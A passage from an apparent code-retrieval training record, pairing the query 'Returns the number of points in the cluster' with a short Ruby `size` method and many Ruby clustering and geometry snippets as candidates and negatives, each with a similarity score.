clusters\n return @data if @separation && @distances.separation > @separation\n while @data.length > 1\n @distances = Distances.new(@data)\n return @data if @separation && @distances.separation > @separation\n @data = find_cluster\n end\n @data\n end", "def center\n a, b, c, d = @points\n\n Geom::Point3d.new(\n (a.x + b.x + c.x + d.x) / 4,\n (a.y + b.y + c.y + d.y) / 4,\n (a.z + b.z + c.z + d.z) / 4\n )\n end", "def initialize(*points_or_lines)\n @points = []\n points_or_lines.each { |pol| self << pol }\n end", "def create_cluster instance_id, cluster_id, cluster\n unless cluster.location == \"\"\n cluster.location = location_path(cluster.location)\n end\n\n execute do\n instances.create_cluster(\n instance_path(instance_id),\n cluster_id,\n cluster\n )\n end\n end", "def split_cluster(mposts, cluster)\n return nil if mposts.empty?\n # The mposts must be all related to each other, create a cluster from them\n # and then proceed to remaining ones until all are processed\n main_cluster = nil\n while true\n # Create a new raw cluster from mposts and remove them from the old one\n new_cluster = create_raw_cluster(:mposts=>mposts)\n main_cluster ||= new_cluster\n mposts.each {|mpost| cluster.delete(mpost)}\n break if cluster.empty? # all processed\n # Get a new set of related mposts from remaining mposts\n mposts = Set.new\n master_mpost = MeetMasterMpost.new\n cluster.mposts.each {|mpost|\n if (mposts.empty? || master_mpost.see_each_other?(mpost))\n mposts << mpost\n master_mpost << mpost\n end\n }\n end\n # Get rid of the old cluster\n pop_cluster(cluster)\n return main_cluster\n end", "def create_cluster(name, options = {})\n cluster = Cluster.receive(cluster_name: name, href: File.join('clusters', name))\n cluster.create options\n end", "def randomize(target_size=nil)\n\t\ttarget_size ||= @clusters.size\n\t\tnew = Clustering.new\n\t\tclusters = Array.new(target_size,nil).map { |x| [] }\n\t\t@clusters.each_with_index do |cluster,i|\n\t\t\tcluster.items.each do |item|\n\t\t\t\tindex = (rand*clusters.size).to_i\n\t\t\t\tclusters[index].push item\n\t\t\tend\n\t\tend\n\t\twhile clusters.reject { |x| x.size != 0 }.size > 0\n\t\t\tsorted = clusters.sort { |a,b| a.size <=> b.size }\n\t\t\tsorted[0].push sorted.pop.pop\n\t\tend\n\t\tclusters.map { |list| Cluster.new(list.map { |x| x.to_sym },nil) }.each { |c| new.add(c) }\n\t\treturn new\n\tend", "def initialize(cluster_by_key, uri_base, maxRange = nil, content_objects = nil, previous_range_string = \"\", previous_uri_params = \"\")\n \n if not cluster_by_key\n raise Exception.new(\"cluster_by_key parameter must be given!\")\n else\n @cluster_by = cluster_by_key\n end\n \n # set whether the clustering is done by string, float, or date\n @cluster_by_value_type = MetadataHelper.new.get_metadata_value_type(@cluster_by)\n \n \n if not uri_base\n raise Exception.new(\"uri_base parameter must be given!\")\n else\n @uri_base = uri_base\n end\n \n @content_objects = []\n @biggest_value = nil\n \n if content_objects\n @content_objects = content_objects\n end\n\n if maxRange\n @maxRange = maxRange\n end\n \n @previous_range_string = previous_range_string\n @previous_uri_params = previous_uri_params\n \n end", "def populate_from_cluster(cluster, &coeff_calculator)\n graph.clear; pending.clear; seeded.clear\n self.coeff_stats = [0.0, 0.0]\n \n # Fillin graph check each mpost pair, N^2 complexity\n mposts = cluster.mposts.to_a\n for from_index in (0...mposts.size)\n from_mpost = mposts[from_index]\n from = (graph[from_mpost] ||= Array.new)\n for to_index in ((from_index+1)...mposts.size)\n to_mpost = mposts[to_index]\n to = (graph[to_mpost] ||= Array.new)\n #if from_mpost.see_or_seen_by?(to_mpost) # ZZZ, see_each_other?\n if from_mpost.see_each_other?(to_mpost)\n coeff = coeff_calculator.call(from_mpost, to_mpost)\n from << [to_mpost, coeff]\n to << [from_mpost, coeff]\n end\n end\n pending[from_mpost] = 0.0\n end\n seed_first_node\n end", "def construct_score_clusters\n timers = Array.new(6, 0)\n startg = Time.now\n\n @documents.each do |document|\n\n doc_vector = document.doc_vector\n start = Time.now\n # get the appeared items in the document\n present_items = doc_vector.get_present_items(true)\n timers[0] += (Time.now - start)\n\n if present_items.empty?\n start = Time.now\n # this doc contains no frequent items, add it to dangling array\n @cluster_warehouse.add_dangling_document(document)\n timers[1] += (Time.now - start)\n\n next\n end\n\n covered_clusters = Clusters.new\n \n start = Time.now\n # get all clusters that can cover this doc\n @cluster_warehouse.find_covered_clusters(present_items, covered_clusters)\n\n timers[2] += (Time.now - start)\n\n raise 'error' if covered_clusters.empty?\n\n start = Time.now\n # get the highest score cluster\n high_score_cluster = get_highest_score_cluster(doc_vector, covered_clusters)\n\n timers[3] += (Time.now - start)\n\n raise 'error' if high_score_cluster.nil?\n\n start = Time.now\n # assign doc to all the target cluster\n high_score_cluster.add_document(document)\n\n timers[4] += (Time.now - start)\n end\n\n timers[5] += (Time.now - startg)\n\n puts \"Duration: #{timers}\" if Configuration.debug\n end", "def init_from_uris(*uris)\n Array(uris).each do |uri|\n if Etcd::Cluster.cluster_status(uri)\n instance = Etcd::Cluster.new(uri)\n instance.update_status\n return instance\n end\n end\n raise AllNodesDownError, \"could not initialize a cluster from #{uris.join(\", \")}\"\n end", "def recursively_cluster_neighbors point, cluster, attribute_indexes, bin_widths, neighbors\n fruitful = false\n\n unclustered_points.each do |unclustered_point|\n next unless point.in_the_neighborhood_of?(unclustered_point, attribute_indexes, bin_widths) or\n unclustered_point.neighbor_of_any?(neighbors, attribute_indexes, bin_widths)\n\n fruitful = true\n unclustered_point.cluster = cluster\n neighbors << unclustered_point\n end\n\n if fruitful\n recursively_cluster_neighbors point, cluster, attribute_indexes, bin_widths, neighbors\n else\n neighbors\n end\n end", "def initialize(points)\n @@hull_id ||= 0\n @hull_id = @@hull_id\n @@hull_id += 1\n\n @points = points.dup\n @leftmost = points.first\n @rightmost = points.last\n\n points.each do |p| p.hull = self end\n end", "def initialize(client, cluster_config, root_resource_pool, datacenter_name)\n @cluster_config = cluster_config\n @root_resource_pool = root_resource_pool\n @client = client\n @datacenter_name = datacenter_name\n end", "def create_cluster(num_servers)\n cluster = []\n (1..num_servers).to_a.each do |num|\n cluster << \"127.0.0.1:#{54320+num}\"\n end\n return cluster\n end", "def parse_clusters(config)\n OodCore::Clusters.load_file(config || '/etc/ood/config/clusters.d')\n rescue OodCore::ConfigurationNotFound\n OodCore::Clusters.new([])\n end", "def initialize(point1, point2, point3)\n\t\t@point1 = point1\n\t\t@point2 = point2\n\t\t@point3 = point3\n\t\t@area = 0\n\t\tfind_area\n\tend", "def score_points_from_a_random_set_of_attributes! number_of_attributes_to_choose, all_bin_widths\n cluster = 0\n attribute_indexes = random_attribute_indexes number_of_attributes_to_choose\n bin_widths = attribute_indexes.map {|index| all_bin_widths[index] }\n\n points.each do |point|\n next if point.clustered?\n\n point.cluster = (cluster += 1)\n neighbors = cluster_neighbors point, cluster, attribute_indexes, bin_widths\n\n point.uncluster! if neighbors.empty?\n end\n\n points.each do |point|\n next unless point.clustered?\n point.uncluster!\n point.score += 1\n end\n end", "def test_empty_centroid\n assert_equal(@factory.collection([]), @factory.multi_polygon([]).centroid)\n end", "def default_cluster_point_size\n if self.default_options[:cluster_point_size].blank?\n 3\n else\n self.default_options[:cluster_point_size].to_i\n end\n end", "def place_nodes_into_pockets\n centroid_pockets = Array.new(@centroids.size) {[]}\n @centroids.each_with_index do |centroid, centroid_index|\n @nodes.each_with_index do |node, node_index|\n if node.closest_centroid == centroid\n centroid_pockets[centroid_index] << node_index\n end\n end\n end\n @centroid_pockets = centroid_pockets\n end", "def create_cluster instance_id, cluster_id, cluster\n cluster.location = location_path cluster.location unless cluster.location == \"\"\n\n instances.create_cluster parent: instance_path(instance_id), cluster_id: cluster_id, cluster: cluster\n end", "def assign_default_points_per_member\n if points\n card_member_having_developer = self.card_member_having_developer\n member_counts = card_member_having_developer.count\n if member_counts == 1\n cm = card_member_having_developer.first\n cm.auto_points_distribution = true\n cm.update_attributes(individuals_point: points)\n elsif member_counts > 1\n points_array = points_partion_array(member_counts)\n card_member_having_developer.each_with_index do |cm, index|\n cm.auto_points_distribution = true\n cm.update_attributes(individuals_point: points_array[index])\n end\n end\n end\n end", "def initialize(center)\n @nodes = []; @edges = []\n @center = center\n end", "def new( point, opts )\n @point = point\n @options = opts\n self\n end", "def set_points\n @points = PointBuilder.new(\n :only => Carnivore::Config.get(@conf_key, :only),\n :except => Carnivore::Config.get(@conf_key, :except)\n )\n self\n end", "def estimatePointsLocationFromItsFractionalMembershipToEachCluster(pointNumber)\r\n theExamplesFractionalMembershipInEachCluster = examplesFractionalMembershipInEachCluster(pointNumber)\r\n weightedClusterCentersSum = Vector.elements(Array.new(exampleVectorLength) { 0.0 })\r\n weightingSum = 0.0\r\n theExamplesFractionalMembershipInEachCluster.each_with_index do |examplesFractionalMembershipInCluster, indexToCluster|\r\n weightedClusterCentersSum += examplesFractionalMembershipInCluster * clusters[indexToCluster].center\r\n weightingSum += examplesFractionalMembershipInCluster\r\n end\r\n centerOfWeightedClustersForExample = weightedClusterCentersSum / weightingSum\r\n end", "def initialize(c1 = Point.new, c2 = Point.new)\n\t@c1 = c1\n\t@c2 = c2\n end", "def add_connected(neighbours,current_cluster)\n\t\t\tcluster_points = []\n\t\t\tneighbours.each do |point|\n\t\t\t\tunless point.visited\n\t\t\t\t\tpoint.visited = true \n\t\t\t\t\tnew_points = immediate_neighbours(point)\n\t\t\t\t\tif new_points.size >= @min_pts\n\t\t\t\t\t\tnew_points.each do |p|\n\t\t\t\t\t\t\tneighbours.push(p) unless (neighbours.include? p)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tunless point.cluster\n\t\t\t\t\t# add point to current cluster\n\t\t\t\t\tcluster_points.push(point)\n\t\t\t\t\tpoint.cluster = current_cluster\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn cluster_points\n\t\tend", "def construct_initial_clusters\n timer = Array.new(4, 0)\n startg = Time.now\n\n @documents.each do |document|\n start = Time.now\n # get the appeared items in the document\n present_freq_items = document.doc_vector.get_present_items(true)\n timer[0] += (Time.now - start)\n\n start = Time.now\n covered_clusters = Clusters.new\n # get all clusters that can cover this doc\n @cluster_warehouse.find_covered_clusters(present_freq_items, covered_clusters)\n timer[1] += (Time.now - start)\n\n start = Time.now\n # assign doc to all the covered clusters\n assign_doc_to_clusters(document, covered_clusters)\n timer[2] += (Time.now - start)\n end\n\n timer[3] = (Time.now - startg)\n puts \"duration: #{timer}\" if Configuration.debug\n end", "def test_cluster\n\t\tclusterer = KMeansClusterer.new\n\t\tclusterer.buildClusters(3)\n\n\t\tcentroids = clusterer.cluster_centroids\n\t\tgroups = clusterer.best_matches\n\n\t\tputs \"Centroid values: \"\n\t\tcentroids.each do |centroid|\n\t\t\tcentroid.each do |value|\n\t\t\t\tprint \"#{value} \"\n\t\t\tend\n\t\t\tprint \"\\n\"\n\t\tend\n\n\t\t#binding.pry\n\n\t\t@my_values = []\n\t\tgroups.each do |group, values|\n\t\t\tputs \"My group sizes: #{values.length}\"\n\t\t\t@my_values << values.length\n\t\tend\n\n\t\t@weka_values = []\n\t\t@sizes.each do |value|\n\t\t\tputs \"Weka group sizes: #{value}\"\n\t\t\t@weka_values << value\n\t\tend\n\n\t\t@sse = clusterer.getSSE\n\t\tputs \"Sum of Squared Error by Cluster:\"\n\t\t@sse.each_index do |i|\n\t\t\tputs \"Cluster #{i}: #{@sse[i]}\"\n\t\tend\n\n\t\t@weka_values.sort!\n\t\t@my_values.sort!\n\n\t\t@my_values.each_index do |i|\n\t\t\tassert((@weka_values[i]-2..@weka_values[i]+2).to_a.include? @my_values[i])\n\t\tend\n\t\t\n\tend", "def cluster()\n @cluster ||= $ip2cluster[@ip]\n @cluster\n end", "def can_create_cluster?(project)\n project.clusters.empty?\n end", "def add name, location, nodes: nil, storage_type: nil\n attrs = {\n serve_nodes: nodes,\n location: location,\n default_storage_type: storage_type\n }.delete_if { |_, v| v.nil? }\n\n self[name] = Google::Bigtable::Admin::V2::Cluster.new(attrs)\n end", "def initialize(data, separation = nil, resolution = nil)\n @separation = separation\n @resolution = resolution\n @data = precluster(data)\n @distances = Distances.new(@data)\n end", "def center\n Point.new(x: @x, y: @y)\n end", "def parse_clusters(*cluster_elements)\n results = []\n cluster_elements.each do |element|\n results += parse_cluster(element)\n end\n\n results\n end", "def create_expected!\n servers = self.clusters.map{ |c| c.servers.to_a }.flatten\n servers.each do |server|\n self << Computer.new(:server => server)\n end unless self.clusters.nil?\n end", "def create(cluster, template)\n if @type == 'Cluster'\n rc = @one.allocate(cluster)\n else\n rc = @one.allocate(template, cluster)\n end\n\n Utils.exception(rc)\n\n if @type == 'Cluster'\n @one.update(template, true)\n end\n\n @one.info\n end", "def initialize\n @points = 10.times.map { Point.new } #.map produeces a new array. 10.times/create a new array - of Point.new. So it creates \n #10 points and puts them into a new array.\n end", "def add_clusters(clusters)\n return if clusters.nil?\n\n clusters.each do |cluster|\n add_cluster(cluster)\n end \n end", "def initialize(data, options = {})\n @separation = options.delete(:separation)\n @resolution = options.delete(:resolution)\n @nils = options.delete(:nils)\n @data = precluster(data)\n @distances = Distances.new(@data, @nils)\n end", "def initialize(cluster_path)\n @cluster_path = cluster_path\n end", "def create\n @cluster = Cluster.new(params[:cluster])\n\n respond_to do |format|\n if @cluster.save\n flash[:notice] = 'Cluster was successfully created.'\n format.html { redirect_to(@cluster) }\n format.xml { render :xml => @cluster, :status => :created, :location => @cluster }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cluster.errors, :status => :unprocessable_entity }\n end\n end\n end", "def cluster(cluster)\n features = {\n 'vsan' => true,\n 'enableDrs' => true,\n 'enableHA' => true,\n }\n\n return cluster.merge(features)\nend", "def cluster(name = context&.cluster)\n named_cluster(name)&.cluster\n end", "def randomCentroids(data, k, n)\r\n\tcentroids = Array.new\r\n\twhile centroids.length != k\r\n\t\tc = rand(data.length)\r\n\t\tif centroids.include?(data[c]) == false\r\n\t\t\tcentroids.push(data[c][0..n])\r\n\t\tend\r\n\tend\r\n\tcentroids\r\nend", "def get_kubernetes_cluster_by_moid(moid, opts = {})\n data, _status_code, _headers = get_kubernetes_cluster_by_moid_with_http_info(moid, opts)\n data\n end", "def point3c(point3c=nil,point3=self)\n (point3c ||= Point3c.new).set(point3.c_radius,point3.theta,point3.z)\n end", "def find_feature_center(vertices)\n number_of_locations = vertices.length\n\n return vertices.first if number_of_locations == 1\n\n x = y = z = 0.0\n vertices.each do |station|\n latitude = station[1] * Math::PI / 180\n longitude = station[0] * Math::PI / 180\n\n x += Math.cos(latitude) * Math.cos(longitude)\n y += Math.cos(latitude) * Math.sin(longitude)\n z += Math.sin(latitude)\n end\n\n x /= number_of_locations\n y /= number_of_locations\n z /= number_of_locations\n\n central_longitude = Math.atan2(y, x)\n central_square_root = Math.sqrt(x * x + y * y)\n central_latitude = Math.atan2(z, central_square_root)\n\n [central_longitude * 180 / Math::PI,\n central_latitude * 180 / Math::PI]\n \n end", "def create\n @cluster = Cluster.new(params[:cluster])\n\n respond_to do |format|\n if @cluster.save\n format.html { redirect_to @cluster, notice: 'Cluster was successfully created.' }\n format.json { render json: @cluster, status: :created, location: @cluster }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cluster.errors, status: :unprocessable_entity }\n end\n end\n end", "def initialize(p1, p2, p3)\n @point1 = p1\n @point2 = p2\n @point3 = p3\n\n # adjust all the points so that they are relative to p1\n @rel_point1 = Vector[0, 0, 0]\n @rel_point2 = @point2 - @point1\n @rel_point3 = @point3 - @point1\n end", "def assign_mpost_to_clusters_if_possible(mpost)\n # First, try to find a best fit processed cluster (meets) to assign\n # the mpost to.\n meets = @meet_pool.meets\n assigned_meet = assign_mpost_to_meets_if_possible(mpost, meets.keys)\n if assigned_meet\n # Succesfully assign the mpost to a existing meet\n # Also populate cluster's member\n meets[assigned_meet] << mpost\n return true\n elsif @meet_pool.add_to_raw_clusters_if_possible(mpost)\n # Succesfully assign the mpost to a raw cluster\n return true\n end\n return false\n end", "def set_default_cluster\n if study.default_options[:cluster].nil?\n cluster = study.cluster_groups.by_name(cluster_name_by_file_type)\n study.default_options[:cluster] = cluster.name if cluster.present?\n end\n end", "def determineClusterAssociatedWithExample(pointNumber)\r\n clusterWeightingsForExample = examplesFractionalMembershipInEachCluster(pointNumber)\r\n maxWeight = 0.0\r\n clusterAssociatedWithExample = nil\r\n clusterWeightingsForExample.each_with_index do |weightingGivenExampleForCluster, clusterNumber|\r\n if (weightingGivenExampleForCluster > maxWeight)\r\n maxWeight = weightingGivenExampleForCluster\r\n clusterAssociatedWithExample = clusters[clusterNumber]\r\n end\r\n end\r\n return clusterAssociatedWithExample\r\n end", "def centroids_mapbox_url(clusters, viewport)\n data = clusters.map(&:centroid).map { |p| [p.x, p.y] }\n mapbox_url(data, viewport)\nend", "def initialize(*datapoints)\n @datapoints = datapoints.flatten\n end" ]
[ "0.61567456", "0.57494426", "0.5444567", "0.5435973", "0.5412673", "0.5357415", "0.5237831", "0.5223695", "0.5154099", "0.5043205", "0.49439824", "0.4931941", "0.49198112", "0.4798184", "0.47895426", "0.4767987", "0.4761733", "0.47542825", "0.47532475", "0.4727614", "0.4727614", "0.46758127", "0.4659903", "0.46503267", "0.46060726", "0.4596817", "0.4580412", "0.4576272", "0.45484656", "0.44974056", "0.44892082", "0.44695988", "0.4467625", "0.4457438", "0.44436753", "0.44391495", "0.4438025", "0.4436039", "0.4426505", "0.44114378", "0.44060168", "0.4399014", "0.43719903", "0.43692723", "0.43623555", "0.43514267", "0.4307803", "0.42996606", "0.42861822", "0.428469", "0.4282248", "0.42813042", "0.4279847", "0.42541704", "0.4194808", "0.41882733", "0.418262", "0.4170175", "0.41666532", "0.4163634", "0.41625693", "0.4133709", "0.41231638", "0.4121991", "0.41197112", "0.4114801", "0.40961963", "0.40842405", "0.4075152", "0.40731335", "0.4067589", "0.40440527", "0.40426236", "0.40289816", "0.40239853", "0.40222687", "0.4015732", "0.40092793", "0.39911965", "0.39892176", "0.39845264", "0.39646775", "0.39570194", "0.39459348", "0.39390913", "0.39367515", "0.393508", "0.39264017", "0.3924453", "0.39215702", "0.39093387", "0.39079285", "0.39076295", "0.3905246", "0.39034337", "0.3899815", "0.38987663", "0.38971925", "0.38947818", "0.3891119" ]
0.5963908
1
Returns the number of points in the cluster. Returns: A Fixnum equal to the number of points in the cluster.
def size self.points.count end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def num_points\n @size * @size\n end", "def n\n points.size\n end", "def size\n\t\t@clusters.size\n\tend", "def cluster_annotation_count\n self.cluster_groups.map {|c| c.cell_annotations.size}.reduce(0, :+)\n end", "def total_points\n self.user_points.reduce(0) { |sum, points| sum + points.point_category.number_of_points}\n end", "def set_cluster_point_count\n cluster_group = ClusterGroup.find_by(study_id: study.id, study_file_id: study_file.id, name: cluster_name_by_file_type)\n if cluster_group.present?\n cluster_group.set_point_count!\n Rails.logger.info \"Point count on #{cluster_group.name}:#{cluster_group.id} set to #{cluster_group.points}\"\n end\n end", "def num_neighbors\r\n @neighbors.count\r\n end", "def cluster_size\n `curl -s -i -L \\\n -u #{Conn[:creds]} \\\n -H 'content-type:application/json' \\\n #{[Conn[:host_api], 'nodes'].join('/')} | grep -o \"contexts\" | wc -l`\n end", "def points_len()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.GraphComponentState_points_len(@handle.ptr)\n result\n end", "def point_wh_count point\n point.layers.inject(0){|sum, lay| sum + lay.whs.size }\n end", "def points\n @data['points'].to_i\n end", "def count()\n @list_of_positions.length\n end", "def returned_nodes_count\n @traversal_position.returnedNodesCount\n end", "def set_point_count!\n points = self.concatenate_data_arrays('x', 'coordinates').count\n self.update!(points: points)\n self.points\n end", "def size\n @points.size\n end", "def cluster_count\n\t\tcase @header.type\n\t\twhen :fat32; @fat.fat.length/4\n\t\twhen :fat16; @fat.fat.length/2\n\t\twhen :fat12; @fat.fat.length*2/3\n\t\tend - 2\n\tend", "def total_count\n object.nodes.size\n end", "def num_points_scored(player_name)\n player = player_by_name(player_name)\n player.values[0][:points]\n end", "def active_on_cluster_count\n (waiting_count + running_count)\n end", "def get_face_count\n count = 0\n @groups.each_value do |grp|\n count += grp.faces.size\n end\n return count\n end", "def n\n x.size\n end", "def num_ships\n @grid.reduce(0) { |acc, el| acc + el.count(:S) }\n end", "def default_cluster_point_size\n if self.default_options[:cluster_point_size].blank?\n 3\n else\n self.default_options[:cluster_point_size].to_i\n end\n end", "def get_total_stat_boxes\n return @stats.length\n end", "def length\n points_distance(@x1, @y1, @x2, @y2)\n end", "def current_num_nodes() ; info[:current_num_nodes] ; end", "def numVertices\n @vertices.size\n end", "def numVertices\n @vertices.size\n end", "def distance_to(cluster)\n distances = @points.product(cluster.points).collect do |a, b|\n a.distance_to(b)\n end\n\n return distances.inject(:+) / distances.size\n end", "def node_count\n @nodes.length - 1\n end", "def dimensions\n self.coords.count\n end", "def count\n @atlas.count\n end", "def num_clusters_include_tree_children\n num_clusters_include_tree_children_rec( self )\n end", "def instance_count\n @group.instances.length\n end", "def vertex_count\n @graph.length\n end", "def num_ships \n @grid.flatten.count(:S)\n end", "def number_of_verts\n\t\t@number_of_verts ||= begin\n\t\t\tsize = 0\n\t\t\t@primitives.each do |primitive|\n\t\t\t\tprimitive[:verts].each do |index|\n\t\t\t\t\tvert = @verts[index]\n\t\t\t\t\tsize += vert[:vector].length\n\t\t\t\tend\n\t\t\tend\n\t\t\tsize\n\t\tend\n\tend", "def calculate_centroid(points)\n sum_x = 0\n sum_y = 0\n \n points.each do |p|\n sum_x += p[:x]\n sum_y += p[:y]\n end\n n = points.length\n {x: sum_x / n, y: sum_y / n}\nend", "def node_count(type = nil)\n if type\n value = @db.m_get(\"node#{type}\")\n if value\n value.to_i\n end\n else\n @db.m_get(\"n\").to_i\n end\n end", "def ll_size()\n return @num_nodes\n end", "def num_vertices\n\t\treturn @Vertices.length\n\tend", "def num_points_scored(name)\n players = get_all_players\n find_player(players, name)[:points]\nend", "def get_peer_count\n peers = self.get_peers\n if not peers.nil?\n count = peers.count\n else\n count = 0\n end\n end", "def member_count\n return @member_count\n end", "def points_size\n MSPhysics::Newton::CurvySlider.get_points_size(@address)\n end", "def points_size\n MSPhysics::Newton::CurvySlider.get_points_size(@address)\n end", "def num_points_scored(player_name)\n players = get_players\n \n found_player = find_player(players, player_name)\n \n # return that player's points\n found_player[:points]\nend", "def node_size\n @results.size\n end", "def num_points_scored(player_name)\n return find_player_value(player_name, game_hash, :points)\nend", "def num_vertices()\n return vertex_list().length()\n end", "def vertex_number\n @vertices.count\n end", "def size\n @nodes.size\n end", "def size\n @nodes.length\n end", "def size\n @nodes.length\n end", "def n\n @clensing_data.size\n end", "def get_length(point_index)\n if @points_list.size < pointindex + 2\n return OpenStudio::getDistance(@point_list[0],@point_list.last)\n else\n return OpenStudio::getDistance(@point_list[point_index],@point_list[point_index + 1] )\n end\n end", "def size\n all_nodes.length\n end", "def count\n count = 0\n\n each do |node|\n count += 1\n end\n\n return count\n end", "def nodes\n @cluster.nodes\n end", "def num_gears\n num = 0\n group_instances.each { |g| num += g.gears.count}\n num\n end", "def num_points_scored(playerName)\n player_stats(playerName)[:points]\nend", "def ntCount\n return @ntIndex.length\n end", "def getCount\n return @nodeValues.size\n end", "def total_count()\n @raw_data.size\n end", "def total_count\n total_entries\n end", "def hosts_count\r\n return @hosts.length\r\n end", "def size\n count = 0\n visit_nodes do\n count += 1\n end\n count\n end", "def grid_count\r\n Api.proj_coordoperation_get_grid_used_count(self.context, self)\r\n end", "def inspect_cluster size_of_cluster\n @cluster.each do |c|\n if c.length == size_of_cluster\n c.each do |s|\n puts \"#{s.to_s}: #{@feature[s].to_s}\"\n end\n end\n end\n end", "def num_neighboring_mines\n @revealed ? @num_neighbor_mines : nil\n end", "def members_count\n return @members_count\n end", "def nodeCount\n count = 1\n\n if @children.size\n @children.each do |key, val|\n count += val.nodeCount\n end\n end\n\n count\n end", "def zone_count\n da_zones=zones\n count = da_zones.count\n da_zones.each{ |z| count += z.zone_count }\n count\n end", "def count\n dataset.client.count(\n index: dataset.index,\n body: dataset.body\n )[\"count\"]\n end", "def estimatePointsLocationFromItsFractionalMembershipToEachCluster(pointNumber)\r\n theExamplesFractionalMembershipInEachCluster = examplesFractionalMembershipInEachCluster(pointNumber)\r\n weightedClusterCentersSum = Vector.elements(Array.new(exampleVectorLength) { 0.0 })\r\n weightingSum = 0.0\r\n theExamplesFractionalMembershipInEachCluster.each_with_index do |examplesFractionalMembershipInCluster, indexToCluster|\r\n weightedClusterCentersSum += examplesFractionalMembershipInCluster * clusters[indexToCluster].center\r\n weightingSum += examplesFractionalMembershipInCluster\r\n end\r\n centerOfWeightedClustersForExample = weightedClusterCentersSum / weightingSum\r\n end", "def count_neighbours(row_index, col_index)\n neighbours = 0\n neighbours += life_in_cell(row_index - 1, col_index - 1)\n neighbours += life_in_cell(row_index, col_index - 1)\n neighbours += life_in_cell(row_index + 1, col_index - 1)\n neighbours += life_in_cell(row_index - 1, col_index)\n neighbours += life_in_cell(row_index + 1, col_index)\n neighbours += life_in_cell(row_index - 1, col_index + 1)\n neighbours += life_in_cell(row_index, col_index + 1)\n neighbours += life_in_cell(row_index + 1, col_index + 1)\n return neighbours\n end", "def total_votes\n num_of_votes = self.votes.count\n return num_of_votes\n end", "def number_of_members()\n return members().count\n end", "def point_count\n puts \"#{@player1.name}'s points: #{@player1.point}\\n#{@player2.name}'s points: #{@player2.point}\"\n end", "def cells_count\n rows_count * columns_count\n end", "def trip_count()\n self.trips().length()\n end", "def vertex_count\n count = \"\\0\" * Fiddle::SIZEOF_INT\n FMOD.invoke(:Geometry_GetPolygonNumVertices, @geometry, @index, count)\n count.unpack1('l')\n end", "def counts\n\t\tputs \"Counting number of IPs within the CIDR store:\" if @verbose\n\t\tcnt=0\n\t\t@known_cidr_blks.keys.map do |key|\n\t\t\tcnt=cnt+size(key)\n\t\tend\n\t\tputs \"Total number of trusted IPs: #{cnt}\" if @verbose\n\t\treturn cnt\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\" if @verbose\n\tend", "def total\n object.nodes.size\n end", "def segment_count\n @segments.length\n end", "def neighbour_count x,y\n @mat[x][y].count_neighbours\n end", "def member_count\n if @members.nil?\n url = open(\"#{base_url}/memberslistxml\", {:proxy => true})\n REXML::Document.new(url.read).root.elements['memberCount'].text.to_i\n else\n @members.size\n end\n end", "def num_points win_condition\n points = 0\n @game_objects.each do |game|\n points += game.score_osu game_meets_win_cond win_condition, game\n end\n points\n end", "def neighbor_mines_count\n neighbor_cells.count(&:mine?)\n end", "def num_cookmarks\n user_pointers.count\n end", "def findCentroid(cluster, n)\r\n\tavgArray = Array.new(n)\r\n\tavgArray.fill(0.0)\r\n\tcluster.each do |point|\r\n\t\tfor i in 0...n\r\n\t\t\tavgArray[i] += point[i]\r\n\t\tend\r\n\tend\r\n\tfor i in 0...avgArray.length\r\n\t\tavgArray[i] = avgArray[i]/cluster.length\r\n\tend\r\n\tavgArray\r\nend", "def count\n dataset.count\n end", "def find_center(cluster)\n sumx = 0; sumy = 0\n total = cluster.length\n cluster.each do |x,y|\n sumx += x \n sumy += y\n end\n xavg = (sumx.to_f / total).round \n yavg = (sumy.to_f / total).round \n center_pos = []\n if (cluster.include?([xavg, yavg]) == false)\n distance_to_center = 100\n cluster.each do |x,y|\n xdiff = (xavg - x).abs\n ydiff = (yavg - y).abs\n xdiff_squared = xdiff ** 2\n ydiff_squared = ydiff ** 2\n distance_squared = xdiff_squared + ydiff_squared\n distance = distance_squared ** 0.5\n if distance < distance_to_center\n center_pos = [x,y]\n distance_to_center = distance\n end\n end\n else\n center_pos = [xavg, yavg]\n end\n return center_pos\n end", "def numbers_of_planes\n\t\t@landed_planes.count \n\tend", "def neighbors_count(i)\n n = relative(i-columns, 0)\n s = relative(i+columns, 0)\n e = relative(i, +1)\n w = relative(i, -1)\n nw = relative(n, -1)\n ne = relative(n, +1)\n sw = relative(s, -1)\n se = relative(s, +1)\n\n cells.values_at(*[n, nw, ne, e, w, s, sw, se].compact).sum\n end", "def total_instances_count\n @os_aws.total_instances_count\n end", "def size\n @vertices.length\n end", "def count_neighbors(x, y)\n return count_left(x, y) + count_right(x, y) + count_up(x, y) + count_down(x, y) + count_diagonals(x, y)\nend", "def size\n counter = 0\n each { |node| counter += 1 }\n return counter\n end", "def centroid(points)\n return nil if points.empty?\n\n sum = points.reduce([0] * points.first.size) { |acc, point|\n acc.size.times do |i|\n acc[i] += point[i]\n end\n acc\n }\n\n sum.map { |v| v.to_f / points.size }\n end" ]
[ "0.7359832", "0.7251844", "0.69580716", "0.6860715", "0.67471915", "0.674463", "0.66980547", "0.6485827", "0.6418411", "0.629915", "0.6299086", "0.6251382", "0.6245883", "0.6243909", "0.6237761", "0.62288785", "0.6148581", "0.61330235", "0.61277264", "0.6116006", "0.6055679", "0.6048728", "0.60478026", "0.60006666", "0.598999", "0.5978558", "0.5968449", "0.5968449", "0.59599555", "0.59491354", "0.59454036", "0.59332395", "0.5930781", "0.5926473", "0.5919481", "0.5912191", "0.5911896", "0.58956134", "0.58857924", "0.5873249", "0.58538675", "0.5845664", "0.5844216", "0.5841799", "0.58391905", "0.58391905", "0.5827051", "0.58194155", "0.5794485", "0.57885814", "0.5786367", "0.57736677", "0.57730645", "0.57730645", "0.57572174", "0.5742586", "0.57314855", "0.5728927", "0.5719654", "0.5715416", "0.5709356", "0.5707451", "0.57072955", "0.5706741", "0.5704752", "0.56921905", "0.5683711", "0.5681486", "0.5676369", "0.56744283", "0.56698686", "0.5654486", "0.5652655", "0.56484294", "0.5646894", "0.5646", "0.5645897", "0.5644584", "0.56397986", "0.5636993", "0.56247175", "0.562385", "0.5620607", "0.5610902", "0.5607767", "0.5604776", "0.5594615", "0.55923474", "0.55894566", "0.558292", 